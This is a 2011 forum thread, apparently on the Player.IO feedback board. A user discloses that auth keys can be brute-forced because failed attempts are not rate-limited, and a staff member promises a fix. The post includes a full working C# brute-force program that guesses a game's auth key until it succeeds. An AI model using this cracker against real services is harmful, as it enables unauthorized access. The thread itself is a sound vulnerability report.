Forum Feedback Warning, auth keys very insecure

Problem with the website? Confused about something? Or maybe you just have something you'd like to suggest. This is the place to do it.

Warning, auth keys very insecure

Postby flex » January 7th, 2011, 6:22 pm

I was playing a bit around with player.io when i noticed that i could reconnect the just after my auth key was considered wrong
That makes playerio very vulnerable for bruteforcing or dictionary attacts

The solution to the problem would probably be setting a limit on how many times a program can connect to the same game with an incorrect auth key in a certain amount of time.

I made a simple c# app only 55 lines of code that can crack an auth key (if the auth key isn't "") and if the connection type is public

Code: Select all
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using PlayerIOClient;
using BruteForcerHelper;

namespace PlayerIO_password_cracker
{
    class Program
    {
        static void Main(string[] args)
        {

        start:
            BruteForceHelper bruteforcer = new BruteForceHelper();

            Console.WriteLine("Enter playerio gamekey to crack");
            string gameId = Console.ReadLine();

        retry:

            string attempt = bruteforcer.next();
            Console.WriteLine("Trying: " + attempt + " on game id: " + gameId);

            try
            {
                Client client = PlayerIO.Connect(gameId, "public", "cracker", PlayerIO.CalcAuth("cracker", attempt));
            }
            catch (PlayerIOError e)
            {
                if (e.Message == "Unknown game id: " + gameId)
                {
                    Console.WriteLine("Wrong game id");
                    goto start;
                }
                else if (e.Message == "The auth given is invalid or malformatted")
                {
                    goto retry;
                }

                Console.WriteLine("Unknown problem occured");

                Console.WriteLine(e.Message);
                Console.ReadLine();

                goto start;
            }

            Console.WriteLine("Success, auth cracked");
            Console.WriteLine("The authensication to the game is: "+ attempt);
            Console.ReadLine();
        }
    }
}
flex
 
Posts: 1
Joined: January 7th, 2011, 6:15 pm

Re: Warning, auth keys very insecure

Postby Oliver » January 10th, 2011, 2:20 pm

Hey flex,

Thanks for taking the time to find and highlight/report this issue. We will implement a fix such that a delay will appear after some number of attempts.

Best,
Oliver
User avatar
Oliver
.IO
 
Posts: 1159
Joined: January 12th, 2010, 8:29 am


Return to Feedback